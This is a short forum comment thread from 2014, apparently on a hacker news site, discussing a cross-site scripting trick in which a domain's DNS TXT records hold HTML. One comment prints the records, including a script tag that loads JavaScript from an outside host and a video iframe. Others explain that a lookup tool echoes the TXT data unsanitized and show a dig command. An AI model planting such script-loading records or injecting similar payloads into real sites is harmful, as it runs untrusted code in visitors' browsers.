News for hackers. Stuff that matters.

A comment on TXT Record XSS.

Re:TXT Record XSS by iamwil on Thursday September 18, 2014 @01:04PM (#8336309)
How does this work?
[ Parent | on HN ]
Re:TXT Record XSS by er0k on Thursday September 18, 2014 @01:08PM (#8336336) 

   jamiehankins.co.uk.	33	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"

   jamiehankins.co.uk.	33	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
[ Parent | on HN ]
Re:TXT Record XSS by JamieH on Thursday September 18, 2014 @01:07PM (#8336332)
The TXT record isn't being sanitized so it just echos out the script tag which then loads the JS file.
[ Parent | on HN ]
Re:TXT Record XSS by jb55 on Thursday September 18, 2014 @01:11PM (#8336350)
Use dig:

$ dig txt jamiehankins.co.uk

https://gist.github.com/440ef567e4bcc8f7ce34

[ Parent | on HN ]